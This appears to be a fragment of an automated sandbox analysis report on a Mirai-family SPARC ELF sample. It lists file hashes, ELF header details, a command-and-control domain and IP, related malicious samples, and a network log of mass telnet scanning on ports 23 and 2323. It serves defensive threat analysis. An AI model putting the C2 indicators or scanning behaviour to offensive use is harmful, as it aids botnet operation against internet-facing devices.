101.134.6.245	unknown	China	37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	false
94.65.203.202	unknown	Greece	6799	OTENET-GRAthens-GreeceGR	false
103.6.198.217	unknown	Malaysia	46015	EXABYTES-AS-APExaBytesNetworkSdnBhdMY	false
189.186.3.110	unknown	Mexico	8151	UninetSAdeCVMX	false
99.73.102.72	unknown	United States	7018	ATT-INTERNET4US	false
151.240.16.181	unknown	Iran (ISLAMIC Republic Of)	31549	RASANAIR	false
209.246.21.234	unknown	United States	3356	LEVEL3US	false
107.77.169.67	unknown	United States	20057	ATT-MOBILITY-LLC-AS20057US	false
116.188.172.132	unknown	China	4847	CNIX-APChinaNetworksInter-ExchangeCN	false
85.187.214.253	unknown	Bulgaria	210212	BG-DILANBG	false
208.192.162.43	unknown	United States	701	UUNETUS	false
97.240.224.6	unknown	United States	6167	CELLCO-PARTUS	false
43.193.194.147	unknown	Japan	4249	LILLY-ASUS	false
206.91.211.181	unknown	United States	3549	LVLT-3549US	false
209.199.160.59	unknown	United States	6921	ARACHNITECUS	false
63.110.206.131	unknown	United States	705	UUNETUS	false
46.12.147.93	unknown	Greece	1241	FORTHNET-GRForthnetEU	false
37.246.133.17	unknown	Moldova Republic of	57598	FIBERHOP-ASNMD	false
36.63.136.157	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
1.208.186.85	unknown	Korea Republic of	3786	LGDACOMLGDACOMCorporationKR	false
1.79.242.52	unknown	Japan	9605	DOCOMONTTDOCOMOINCJP	false
220.107.236.139	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
44.10.72.133	unknown	United States	7377	UCSDUS	false
103.85.139.164	unknown	China	136030	REDTONE-AS-APRedtoneTelecommunicationsPakistanPrivate	false
141.233.155.22	unknown	United States	3128	BRUWS-AS3128US	false
45.132.115.131	unknown	Netherlands	35592	COOLHOUSING-ASVinohradska190CZ	false
117.162.32.76	unknown	China	9808	CMNET-GDGuangdongMobileCommunicationCoLtdCN	false
211.138.229.105	unknown	China	56047	CMNET-HUNAN-APChinaMobilecommunicationscorporationCN	false
174.245.42.124	unknown	United States	22394	CELLCOUS	false
170.247.211.250	unknown	Brazil	265229	INTERLIGADOSPROVEDOR-MEBR	false
4.114.178.4	unknown	United States	3356	LEVEL3US	false
179.39.215.8	unknown	Argentina	22927	TelefonicadeArgentinaAR	false
95.16.70.8	unknown	Spain	12479	UNI2-ASES	false
165.145.48.2	unknown	South Africa	5713	SAIX-NETZA	false
157.40.207.134	unknown	India	55836	RELIANCEJIO-INRelianceJioInfocommLimitedIN	false
168.111.24.158	unknown	United States	23162	UKYEDUUS	false
160.81.34.97	unknown	United States	1239	SPRINTLINKUS	false
113.30.22.9	unknown	Korea Republic of	9971	DONGDAEMUNCABLEINTERNET-AS-KRTBROADDongdaemuncablenetwor	false
223.178.195.72	unknown	India	45609	BHARTI-MOBILITY-AS-APBhartiAirtelLtdASforGPRSService	false
166.98.219.27	unknown	United States	58681	NSWPOLSERV-AS-APNewSouthWalesPoliceAU	false
153.118.20.101	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
193.88.59.156	unknown	Denmark	3292	TDCTDCASDK	false
217.4.37.228	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
58.209.233.170	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
162.119.67.199	unknown	United States	3379	KAISER-NCALUS	false
200.74.21.215	unknown	Chile	22047	VTRBANDAANCHASACL	false
120.224.137.140	unknown	China	24444	CMNET-V4SHANDONG-AS-APShandongMobileCommunicationCompany	false
205.180.168.102	unknown	United States	3356	LEVEL3US	false
40.62.111.153	unknown	United States	4249	LILLY-ASUS	false
36.68.129.6	unknown	Indonesia	7713	TELKOMNET-AS-APPTTelekomunikasiIndonesiaID	false
202.224.194.246	unknown	Japan	2514	INFOSPHERENTTPCCommunicationsIncJP	false
18.43.147.123	unknown	United States	3	MIT-GATEWAYSUS	false
145.71.37.225	unknown	Netherlands	1103	SURFNET-NLSURFnetTheNetherlandsNL	false
13.44.198.176	unknown	United States	7018	ATT-INTERNET4US	false

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
cnc.chromies.cf	vtaIo1M3v2.elf	Get hash	malicious	Mirai	Browse	5.181.156.131
	piHWNOmnbm.elf	Get hash	malicious	Mirai	Browse	5.181.156.131
	lp0YqkzL1X.elf	Get hash	malicious	Mirai	Browse	5.181.156.131
	2x40OMRCkY.elf	Get hash	malicious	Mirai	Browse	5.181.156.131
	jdQ5Lxv5Nd.elf	Get hash	malicious	Mirai	Browse	5.181.156.131

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SUDDENLINK-COMMUNICATIONSUS	RWCS3ICMHV.elf	Get hash	malicious	Unknown	Browse	66.76.35.116
	tHRIRkYRbE.elf	Get hash	malicious	Mirai	Browse	47.213.185.154
	soHSLmkz88.elf	Get hash	malicious	Mirai, Moobot	Browse	24.32.239.156
	AhHYN4e9aP.elf	Get hash	malicious	Mirai	Browse	47.212.96.82
	sora.arm.elf	Get hash	malicious	Mirai	Browse	47.222.229.36
	ehzGeYz3RM.elf	Get hash	malicious	Mirai	Browse	47.216.89.51
	arm.elf	Get hash	malicious	Mirai	Browse	74.195.214.255
	3VNmL4P4sG.elf	Get hash	malicious	Mirai	Browse	74.243.22.69
	sora.arm.elf	Get hash	malicious	Mirai	Browse	74.249.173.116
	5M39t65C7q.elf	Get hash	malicious	Mirai	Browse	47.220.138.133
	DCwGKAEFrZ.elf	Get hash	malicious	Mirai	Browse	24.156.32.103
	TqA3GrJsfl.elf	Get hash	malicious	Mirai	Browse	24.156.19.19
	mIba7sY5sD.elf	Get hash	malicious	Okiru	Browse	47.219.124.164
	xd71bUi4mH.elf	Get hash	malicious	Mirai	Browse	47.216.65.90
	skid.x86_64.elf	Get hash	malicious	Mirai, Moobot	Browse	47.208.227.57
	z9C5gVOgWa.elf	Get hash	malicious	Mirai	Browse	66.76.8.164
	sora.arm.elf	Get hash	malicious	Mirai	Browse	74.192.132.66
	T2b74gKWzG.elf	Get hash	malicious	Mirai	Browse	47.216.89.47
	arm.elf	Get hash	malicious	Mirai	Browse	47.208.239.34
	V5GJy6mb6o.elf	Get hash	malicious	Mirai	Browse	74.249.173.147
CHINANET-BACKBONENo31Jin-rongStreetCN	vtaIo1M3v2.elf	Get hash	malicious	Mirai	Browse	112.114.245.250
	piHWNOmnbm.elf	Get hash	malicious	Mirai	Browse	202.141.161.250
	lp0YqkzL1X.elf	Get hash	malicious	Mirai	Browse	139.189.200.19
	jdQ5Lxv5Nd.elf	Get hash	malicious	Mirai	Browse	171.113.43.99
	SecuriteInfo.com.FileRepMalware.4269.6620.exe	Get hash	malicious	Unknown	Browse	61.184.8.52
	https://identity.flamex.hm/	Get hash	malicious	HTMLPhisher	Browse	63.140.38.163
	https://acrobat.adobe.com/id/urn:aaid:sc:va6c2:015bea1e-a17c-4f3f-aade-33cd05652ca2	Get hash	malicious	HTMLPhisher	Browse	63.140.38.232
	m2jngcTeBu.elf	Get hash	malicious	Mirai	Browse	125.122.216.74
	gCAF578aAw.elf	Get hash	malicious	Unknown	Browse	180.137.221.58
	hGpOkYmkWR.elf	Get hash	malicious	Unknown	Browse	115.150.192.33
	mF5mVvxKST.elf	Get hash	malicious	Unknown	Browse	101.252.71.111
	RWCS3ICMHV.elf	Get hash	malicious	Unknown	Browse	112.114.187.79
	KM5o3z58gh.elf	Get hash	malicious	Mirai	Browse	183.6.140.39
	0JMYza8Wrn.elf	Get hash	malicious	Mirai	Browse	183.54.199.105
	tHRIRkYRbE.elf	Get hash	malicious	Mirai	Browse	118.254.12.135
	ua2cV1Y68W.elf	Get hash	malicious	Unknown	Browse	114.230.231.46
	https://indd.adobe.com/view/6fe39e55-e3f6-406f-99fe-67f2943bb87c	Get hash	malicious	Unknown	Browse	63.140.38.100
	Black Friday limited-time deals. Endless possibilities..msg	Get hash	malicious	Unknown	Browse	63.140.38.100
	https://acrobat.adobe.com/id/urn:aaid:sc:va6c2:d97b29e1-1819-44bd-a602-4c6a14a4bde2	Get hash	malicious	HTMLPhisher	Browse	63.140.38.163
	DXm3A32mtI.elf	Get hash	malicious	Mirai	Browse	27.185.59.22
BSKYB-BROADBAND-ASGB	vtaIo1M3v2.elf	Get hash	malicious	Mirai	Browse	94.0.29.242
	hGpOkYmkWR.elf	Get hash	malicious	Unknown	Browse	176.25.81.180
	MtotV6x4uA.elf	Get hash	malicious	Mirai, Moobot	Browse	78.105.73.65
	pRtZYasbL9.elf	Get hash	malicious	Mirai, Moobot	Browse	90.197.229.76
	m4Fl3nW1Yl.elf	Get hash	malicious	Mirai	Browse	94.15.74.211
	ML6FVL4DhV.elf	Get hash	malicious	Unknown	Browse	90.219.61.107
	skid.arm7.elf	Get hash	malicious	Mirai, Moobot	Browse	176.25.162.211
	skid.arm.elf	Get hash	malicious	Moobot	Browse	2.121.142.209
	bWZQRQVOya.elf	Get hash	malicious	Mirai, Moobot	Browse	151.226.129.60
	3wFmxdcDp3.elf	Get hash	malicious	Mirai	Browse	94.194.151.190
	sora.arm.elf	Get hash	malicious	Mirai	Browse	2.222.21.135
	x86.elf	Get hash	malicious	Mirai	Browse	5.64.226.224
	arm7.elf	Get hash	malicious	Mirai	Browse	5.66.14.131
	ehzGeYz3RM.elf	Get hash	malicious	Mirai	Browse	94.11.75.146
	7Ueun89KE3.elf	Get hash	malicious	Mirai	Browse	94.11.75.148
	BpSsm2RxvM.elf	Get hash	malicious	Mirai	Browse	94.13.20.64
	yWVLQIrdCC.elf	Get hash	malicious	Mirai	Browse	176.249.109.141
	qJY7qgxKYq.elf	Get hash	malicious	Mirai	Browse	94.11.230.146
	WzpinhzvZl.elf	Get hash	malicious	Mirai	Browse	94.193.8.105
	7vbrDg2AF5.elf	Get hash	malicious	Mirai	Browse	94.6.4.174

File type:	ELF 32-bit MSB executable, SPARC, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.101360975703943
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	gJxUBR0ghC.elf
File size:	120'600 bytes
MD5:	0e31e21ca91e71319a6ea3f001152463
SHA1:	7d1a04607d6f5c2224e15bbcdb36701aa2249fc3
SHA256:	cd84c1a2b08b147d9e51fadddc3240342a0c49369fbb9305e31c2566966fb35e
SHA512:	e8274715888f886153a29dfadbfe62a24660f7603adcd185aeb1f49576c1f41fe16bad6205feedb3fd39f02cb7993a9af63d67c4622f9fd94741934ddff7eec0
SSDEEP:	1536:Rh0S6iKawmAszgUfUiGR/BoQHY5jVP7YDFU5tgN0T59jArSKoQAMctijZEN:fBGZu25jHYVVP7YDi40NxArFoKiN
TLSH:	78C33825BD391E27C0D4617E02B78B22F2F6624E11B8866D3E750F8AFF54A9071177B2
File Content Preview:	.ELF...........................4.........4. ...(.......................................................t..),........dt.Q................................@..(....@.g{................#.....aH..`.....!.....!...@.....".........`......$!...!...@...........`....

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	Sparc
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x101a4
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	120200
Section Header Size:	40
Number of Section Headers:	10
Header String Table Index:	9

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x10094	0x94	0x1c	0x0	0x6	AX	4
.text	PROGBITS	0x100b0	0xb0	0x19e24	0x0	0x6	AX	4
.fini	PROGBITS	0x29ed4	0x19ed4	0x14	0x0	0x6	AX	4
.rodata	PROGBITS	0x29ee8	0x19ee8	0x32e8	0x0	0x2	A	8
.ctors	PROGBITS	0x3d1d4	0x1d1d4	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x3d1dc	0x1d1dc	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x3d1e8	0x1d1e8	0x360	0x0	0x3	WA	8
.bss	NOBITS	0x3d548	0x1d548	0x25b8	0x0	0x3	WA	8
.shstrtab	STRTAB	0x0	0x1d548	0x3e	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x10000	0x10000	0x1d1d0	0x1d1d0	6.1212	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0x1d1d4	0x3d1d4	0x3d1d4	0x374	0x292c	2.6920	0x6	RW	0x10000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 2, 2023 10:40:33.613147020 CET	43928	443	192.168.2.23	91.189.91.42
Dec 2, 2023 10:40:34.175899982 CET	50668	2323	192.168.2.23	165.203.59.38
Dec 2, 2023 10:40:34.176112890 CET	50668	23	192.168.2.23	146.125.9.38
Dec 2, 2023 10:40:34.176151991 CET	50668	23	192.168.2.23	218.64.26.202
Dec 2, 2023 10:40:34.176194906 CET	50668	23	192.168.2.23	136.176.150.37
Dec 2, 2023 10:40:34.176291943 CET	50668	23	192.168.2.23	60.7.28.41
Dec 2, 2023 10:40:34.176310062 CET	50668	23	192.168.2.23	4.114.178.4
Dec 2, 2023 10:40:34.176372051 CET	50668	23	192.168.2.23	126.144.16.76
Dec 2, 2023 10:40:34.176472902 CET	50668	2323	192.168.2.23	110.173.66.44
Dec 2, 2023 10:40:34.176491022 CET	50668	23	192.168.2.23	113.161.251.111
Dec 2, 2023 10:40:34.176506042 CET	50668	23	192.168.2.23	31.249.217.56
Dec 2, 2023 10:40:34.176508904 CET	50668	23	192.168.2.23	219.198.25.231
Dec 2, 2023 10:40:34.176506996 CET	50668	23	192.168.2.23	98.4.125.59
Dec 2, 2023 10:40:34.176525116 CET	50668	23	192.168.2.23	152.11.21.192
Dec 2, 2023 10:40:34.176569939 CET	50668	23	192.168.2.23	98.70.172.164
Dec 2, 2023 10:40:34.176578999 CET	50668	23	192.168.2.23	193.88.59.156
Dec 2, 2023 10:40:34.176579952 CET	50668	23	192.168.2.23	211.159.75.93
Dec 2, 2023 10:40:34.176621914 CET	50668	23	192.168.2.23	13.107.147.93
Dec 2, 2023 10:40:34.176625013 CET	50668	23	192.168.2.23	38.114.208.45
Dec 2, 2023 10:40:34.176656961 CET	50668	23	192.168.2.23	91.235.114.198
Dec 2, 2023 10:40:34.176704884 CET	50668	23	192.168.2.23	126.20.48.14
Dec 2, 2023 10:40:34.176732063 CET	50668	2323	192.168.2.23	159.233.26.216
Dec 2, 2023 10:40:34.176744938 CET	50668	23	192.168.2.23	193.254.119.28
Dec 2, 2023 10:40:34.176820040 CET	50668	23	192.168.2.23	12.105.7.213
Dec 2, 2023 10:40:34.176851988 CET	50668	23	192.168.2.23	80.208.20.158
Dec 2, 2023 10:40:34.176858902 CET	50668	23	192.168.2.23	163.71.157.199
Dec 2, 2023 10:40:34.176894903 CET	50668	23	192.168.2.23	157.215.73.46
Dec 2, 2023 10:40:34.177045107 CET	50668	23	192.168.2.23	198.136.202.108
Dec 2, 2023 10:40:34.177093029 CET	50668	23	192.168.2.23	18.121.112.142
Dec 2, 2023 10:40:34.177095890 CET	50668	2323	192.168.2.23	68.41.123.159
Dec 2, 2023 10:40:34.177114964 CET	50668	23	192.168.2.23	88.239.75.115
Dec 2, 2023 10:40:34.177129984 CET	50668	23	192.168.2.23	91.109.103.105
Dec 2, 2023 10:40:34.177129984 CET	50668	23	192.168.2.23	202.227.165.150
Dec 2, 2023 10:40:34.177139044 CET	50668	23	192.168.2.23	34.63.251.198
Dec 2, 2023 10:40:34.177139044 CET	50668	23	192.168.2.23	196.87.127.136
Dec 2, 2023 10:40:34.177139044 CET	50668	23	192.168.2.23	126.70.132.206
Dec 2, 2023 10:40:34.177181005 CET	50668	23	192.168.2.23	128.4.209.102
Dec 2, 2023 10:40:34.177207947 CET	50668	23	192.168.2.23	2.140.202.82
Dec 2, 2023 10:40:34.177253008 CET	50668	23	192.168.2.23	122.76.209.96
Dec 2, 2023 10:40:34.177257061 CET	50668	23	192.168.2.23	23.209.230.201
Dec 2, 2023 10:40:34.177305937 CET	50668	23	192.168.2.23	158.31.97.7
Dec 2, 2023 10:40:34.177309036 CET	50668	2323	192.168.2.23	165.21.73.54
Dec 2, 2023 10:40:34.177350998 CET	50668	23	192.168.2.23	18.188.180.106
Dec 2, 2023 10:40:34.177354097 CET	50668	23	192.168.2.23	203.80.108.65
Dec 2, 2023 10:40:34.177361965 CET	50668	23	192.168.2.23	84.239.103.246
Dec 2, 2023 10:40:34.177397013 CET	50668	23	192.168.2.23	148.146.141.94
Dec 2, 2023 10:40:34.177398920 CET	50668	23	192.168.2.23	113.168.31.20
Dec 2, 2023 10:40:34.177406073 CET	50668	23	192.168.2.23	123.120.71.33
Dec 2, 2023 10:40:34.177454948 CET	50668	23	192.168.2.23	121.237.233.38
Dec 2, 2023 10:40:34.177486897 CET	50668	23	192.168.2.23	48.107.196.23
Dec 2, 2023 10:40:34.177489996 CET	50668	23	192.168.2.23	81.122.69.117
Dec 2, 2023 10:40:34.177495003 CET	50668	2323	192.168.2.23	218.151.161.203
Dec 2, 2023 10:40:34.177517891 CET	50668	23	192.168.2.23	70.233.17.184
Dec 2, 2023 10:40:34.177522898 CET	50668	23	192.168.2.23	121.243.180.45
Dec 2, 2023 10:40:34.177558899 CET	50668	23	192.168.2.23	205.253.171.162
Dec 2, 2023 10:40:34.177562952 CET	50668	23	192.168.2.23	14.94.94.9
Dec 2, 2023 10:40:34.177612066 CET	50668	23	192.168.2.23	152.172.174.55
Dec 2, 2023 10:40:34.177669048 CET	50668	23	192.168.2.23	64.33.102.109
Dec 2, 2023 10:40:34.177679062 CET	50668	23	192.168.2.23	47.220.110.127
Dec 2, 2023 10:40:34.177691936 CET	50668	23	192.168.2.23	154.110.187.120
Dec 2, 2023 10:40:34.177738905 CET	50668	23	192.168.2.23	151.54.21.138
Dec 2, 2023 10:40:34.177740097 CET	50668	2323	192.168.2.23	81.108.243.144
Dec 2, 2023 10:40:34.177738905 CET	50668	23	192.168.2.23	93.43.96.96
Dec 2, 2023 10:40:34.177758932 CET	50668	23	192.168.2.23	193.17.192.35
Dec 2, 2023 10:40:34.177783966 CET	50668	23	192.168.2.23	53.139.108.104
Dec 2, 2023 10:40:34.177786112 CET	50668	23	192.168.2.23	126.187.98.185
Dec 2, 2023 10:40:34.177829027 CET	50668	23	192.168.2.23	140.223.36.105
Dec 2, 2023 10:40:34.177850008 CET	50668	23	192.168.2.23	171.6.136.233
Dec 2, 2023 10:40:34.177859068 CET	50668	23	192.168.2.23	47.72.236.37
Dec 2, 2023 10:40:34.177861929 CET	50668	23	192.168.2.23	223.98.234.207
Dec 2, 2023 10:40:34.177881956 CET	50668	23	192.168.2.23	198.1.237.252
Dec 2, 2023 10:40:34.177881956 CET	50668	2323	192.168.2.23	190.173.151.212
Dec 2, 2023 10:40:34.177881956 CET	50668	23	192.168.2.23	190.103.27.254
Dec 2, 2023 10:40:34.177942991 CET	50668	23	192.168.2.23	212.22.129.55
Dec 2, 2023 10:40:34.177953959 CET	50668	23	192.168.2.23	205.223.127.113
Dec 2, 2023 10:40:34.178006887 CET	50668	23	192.168.2.23	158.34.218.217
Dec 2, 2023 10:40:34.178025961 CET	50668	23	192.168.2.23	95.225.199.42
Dec 2, 2023 10:40:34.178028107 CET	50668	23	192.168.2.23	209.87.89.81
Dec 2, 2023 10:40:34.178041935 CET	50668	23	192.168.2.23	68.197.237.150
Dec 2, 2023 10:40:34.178056002 CET	50668	23	192.168.2.23	71.147.188.249
Dec 2, 2023 10:40:34.178056002 CET	50668	23	192.168.2.23	209.6.189.69
Dec 2, 2023 10:40:34.178064108 CET	50668	2323	192.168.2.23	8.181.199.100
Dec 2, 2023 10:40:34.178271055 CET	50668	23	192.168.2.23	185.120.221.186
Dec 2, 2023 10:40:34.178271055 CET	50668	23	192.168.2.23	147.106.137.21
Dec 2, 2023 10:40:34.178288937 CET	50668	23	192.168.2.23	8.124.101.9
Dec 2, 2023 10:40:34.178308010 CET	50668	23	192.168.2.23	217.4.37.228
Dec 2, 2023 10:40:34.178308010 CET	50668	23	192.168.2.23	23.82.109.191
Dec 2, 2023 10:40:34.178308964 CET	50668	23	192.168.2.23	203.145.104.248
Dec 2, 2023 10:40:34.178369045 CET	50668	23	192.168.2.23	206.56.198.160
Dec 2, 2023 10:40:34.178374052 CET	50668	23	192.168.2.23	141.57.176.18
Dec 2, 2023 10:40:34.178375959 CET	50668	23	192.168.2.23	32.188.227.127
Dec 2, 2023 10:40:34.178390980 CET	50668	2323	192.168.2.23	148.147.38.234
Dec 2, 2023 10:40:34.178455114 CET	50668	23	192.168.2.23	101.69.33.184
Dec 2, 2023 10:40:34.178457975 CET	50668	23	192.168.2.23	162.37.251.63
Dec 2, 2023 10:40:34.178462029 CET	50668	23	192.168.2.23	95.51.218.52
Dec 2, 2023 10:40:34.178467989 CET	50668	23	192.168.2.23	183.223.136.13
Dec 2, 2023 10:40:34.178487062 CET	50668	23	192.168.2.23	190.156.255.124
Dec 2, 2023 10:40:34.178523064 CET	50668	23	192.168.2.23	73.18.119.109
Dec 2, 2023 10:40:34.178523064 CET	50668	23	192.168.2.23	85.213.106.84
Dec 2, 2023 10:40:34.178524017 CET	50668	23	192.168.2.23	187.211.59.191
Dec 2, 2023 10:40:34.178553104 CET	50668	23	192.168.2.23	17.68.58.159
Dec 2, 2023 10:40:34.178569078 CET	50668	2323	192.168.2.23	78.113.170.132
Dec 2, 2023 10:40:34.178576946 CET	50668	23	192.168.2.23	165.1.151.91
Dec 2, 2023 10:40:34.178594112 CET	50668	23	192.168.2.23	101.174.48.145
Dec 2, 2023 10:40:34.178613901 CET	50668	23	192.168.2.23	147.167.52.98
Dec 2, 2023 10:40:34.178616047 CET	50668	23	192.168.2.23	197.130.225.12
Dec 2, 2023 10:40:34.178633928 CET	50668	23	192.168.2.23	219.112.171.34
Dec 2, 2023 10:40:34.178648949 CET	50668	23	192.168.2.23	135.147.220.15
Dec 2, 2023 10:40:34.178653955 CET	50668	23	192.168.2.23	44.52.205.33
Dec 2, 2023 10:40:34.178657055 CET	50668	23	192.168.2.23	200.56.60.1
Dec 2, 2023 10:40:34.178694963 CET	50668	23	192.168.2.23	83.67.28.79
Dec 2, 2023 10:40:34.178709984 CET	50668	2323	192.168.2.23	108.211.20.70
Dec 2, 2023 10:40:34.178715944 CET	50668	23	192.168.2.23	115.54.21.29
Dec 2, 2023 10:40:34.178715944 CET	50668	23	192.168.2.23	177.191.239.116
Dec 2, 2023 10:40:34.178731918 CET	50668	23	192.168.2.23	175.72.41.64
Dec 2, 2023 10:40:34.178731918 CET	50668	23	192.168.2.23	165.17.173.217
Dec 2, 2023 10:40:34.178750038 CET	50668	23	192.168.2.23	102.64.91.163
Dec 2, 2023 10:40:34.178767920 CET	50668	23	192.168.2.23	220.222.212.221
Dec 2, 2023 10:40:34.178781986 CET	50668	23	192.168.2.23	95.238.94.240
Dec 2, 2023 10:40:34.178782940 CET	50668	23	192.168.2.23	13.137.194.170
Dec 2, 2023 10:40:34.178795099 CET	50668	23	192.168.2.23	44.27.184.244
Dec 2, 2023 10:40:34.178823948 CET	50668	2323	192.168.2.23	62.152.235.55
Dec 2, 2023 10:40:34.178863049 CET	50668	23	192.168.2.23	76.75.160.26
Dec 2, 2023 10:40:34.178869009 CET	50668	23	192.168.2.23	117.36.76.30
Dec 2, 2023 10:40:34.178883076 CET	50668	23	192.168.2.23	162.157.215.128
Dec 2, 2023 10:40:34.178910971 CET	50668	23	192.168.2.23	116.124.69.120
Dec 2, 2023 10:40:34.178916931 CET	50668	23	192.168.2.23	43.210.199.162
Dec 2, 2023 10:40:34.178930044 CET	50668	23	192.168.2.23	163.149.192.172
Dec 2, 2023 10:40:34.178942919 CET	50668	23	192.168.2.23	60.132.10.245
Dec 2, 2023 10:40:34.178982973 CET	50668	23	192.168.2.23	146.177.204.119
Dec 2, 2023 10:40:34.178983927 CET	50668	23	192.168.2.23	63.199.153.54
Dec 2, 2023 10:40:34.179029942 CET	50668	2323	192.168.2.23	115.47.59.9
Dec 2, 2023 10:40:34.179054976 CET	50668	23	192.168.2.23	83.91.61.160
Dec 2, 2023 10:40:34.179076910 CET	50668	23	192.168.2.23	20.22.50.200
Dec 2, 2023 10:40:34.179199934 CET	50668	23	192.168.2.23	152.131.70.9
Dec 2, 2023 10:40:34.179199934 CET	50668	23	192.168.2.23	115.17.226.202
Dec 2, 2023 10:40:34.179243088 CET	50668	23	192.168.2.23	192.243.242.233
Dec 2, 2023 10:40:34.179255962 CET	50668	23	192.168.2.23	68.201.223.117
Dec 2, 2023 10:40:34.179260015 CET	50668	23	192.168.2.23	223.16.33.248
Dec 2, 2023 10:40:34.179332972 CET	50668	2323	192.168.2.23	146.125.164.149
Dec 2, 2023 10:40:34.179336071 CET	50668	23	192.168.2.23	187.253.136.34
Dec 2, 2023 10:40:34.179349899 CET	50668	23	192.168.2.23	221.209.104.110
Dec 2, 2023 10:40:34.179351091 CET	50668	23	192.168.2.23	166.189.126.204
Dec 2, 2023 10:40:34.179359913 CET	50668	23	192.168.2.23	57.116.53.72
Dec 2, 2023 10:40:34.179359913 CET	50668	23	192.168.2.23	188.10.177.154
Dec 2, 2023 10:40:34.179445028 CET	50668	23	192.168.2.23	182.124.236.74
Dec 2, 2023 10:40:34.179445982 CET	50668	23	192.168.2.23	104.163.132.45
Dec 2, 2023 10:40:34.179508924 CET	50668	23	192.168.2.23	66.83.202.35
Dec 2, 2023 10:40:34.179521084 CET	50668	23	192.168.2.23	212.221.199.125
Dec 2, 2023 10:40:34.179542065 CET	50668	23	192.168.2.23	20.228.44.206
Dec 2, 2023 10:40:34.179558039 CET	50668	2323	192.168.2.23	113.81.35.152
Dec 2, 2023 10:40:34.179569960 CET	50668	23	192.168.2.23	40.181.93.225
Dec 2, 2023 10:40:34.179573059 CET	50668	23	192.168.2.23	70.254.32.136
Dec 2, 2023 10:40:34.179579973 CET	50668	23	192.168.2.23	142.73.92.225
Dec 2, 2023 10:40:34.179614067 CET	50668	23	192.168.2.23	27.168.66.77
Dec 2, 2023 10:40:34.179619074 CET	50668	23	192.168.2.23	20.153.12.42
Dec 2, 2023 10:40:34.179673910 CET	50668	23	192.168.2.23	35.101.119.230
Dec 2, 2023 10:40:34.179682970 CET	50668	23	192.168.2.23	77.25.139.40
Dec 2, 2023 10:40:34.179702997 CET	50668	23	192.168.2.23	41.97.119.163
Dec 2, 2023 10:40:34.179718018 CET	50668	23	192.168.2.23	120.240.107.186
Dec 2, 2023 10:40:34.179884911 CET	50668	23	192.168.2.23	204.160.200.254
Dec 2, 2023 10:40:34.269011021 CET	39222	2609	192.168.2.23	5.181.156.131
Dec 2, 2023 10:40:34.297199011 CET	23	50668	23.82.109.191	192.168.2.23
Dec 2, 2023 10:40:34.309585094 CET	23	50668	142.73.92.225	192.168.2.23
Dec 2, 2023 10:40:34.354172945 CET	23	50668	193.17.192.35	192.168.2.23
Dec 2, 2023 10:40:34.426141977 CET	23	50668	196.87.127.136	192.168.2.23
Dec 2, 2023 10:40:34.462307930 CET	23	50668	14.94.94.9	192.168.2.23
Dec 2, 2023 10:40:34.486838102 CET	23	50668	115.17.226.202	192.168.2.23
Dec 2, 2023 10:40:34.487174034 CET	2609	39222	5.181.156.131	192.168.2.23
Dec 2, 2023 10:40:34.487449884 CET	39222	2609	192.168.2.23	5.181.156.131
Dec 2, 2023 10:40:34.487449884 CET	39222	2609	192.168.2.23	5.181.156.131
Dec 2, 2023 10:40:34.705841064 CET	2609	39222	5.181.156.131	192.168.2.23
Dec 2, 2023 10:40:34.705934048 CET	39222	2609	192.168.2.23	5.181.156.131
Dec 2, 2023 10:40:34.924196005 CET	2609	39222	5.181.156.131	192.168.2.23
Dec 2, 2023 10:40:35.181246042 CET	50668	23	192.168.2.23	161.129.89.45
Dec 2, 2023 10:40:35.181246042 CET	50668	2323	192.168.2.23	187.72.75.7
Dec 2, 2023 10:40:35.181246042 CET	50668	23	192.168.2.23	187.114.255.166
Dec 2, 2023 10:40:35.181269884 CET	50668	23	192.168.2.23	96.171.127.181
Dec 2, 2023 10:40:35.181277990 CET	50668	23	192.168.2.23	209.199.160.59
Dec 2, 2023 10:40:35.181289911 CET	50668	23	192.168.2.23	43.235.179.201
Dec 2, 2023 10:40:35.181288958 CET	50668	23	192.168.2.23	218.144.231.116
Dec 2, 2023 10:40:35.181293964 CET	50668	23	192.168.2.23	162.119.67.199
Dec 2, 2023 10:40:35.181294918 CET	50668	2323	192.168.2.23	206.189.246.99
Dec 2, 2023 10:40:35.181313038 CET	50668	23	192.168.2.23	197.45.45.223
Dec 2, 2023 10:40:35.181313038 CET	50668	23	192.168.2.23	194.68.24.163
Dec 2, 2023 10:40:35.181323051 CET	50668	23	192.168.2.23	212.254.117.192
Dec 2, 2023 10:40:35.181329966 CET	50668	23	192.168.2.23	182.74.231.161
Dec 2, 2023 10:40:35.181330919 CET	50668	23	192.168.2.23	152.66.25.173
Dec 2, 2023 10:40:35.181334972 CET	50668	23	192.168.2.23	98.157.19.190
Dec 2, 2023 10:40:35.181344032 CET	50668	23	192.168.2.23	8.242.69.73
Dec 2, 2023 10:40:35.181344032 CET	50668	23	192.168.2.23	182.117.115.82
Dec 2, 2023 10:40:35.181349039 CET	50668	23	192.168.2.23	177.126.236.80
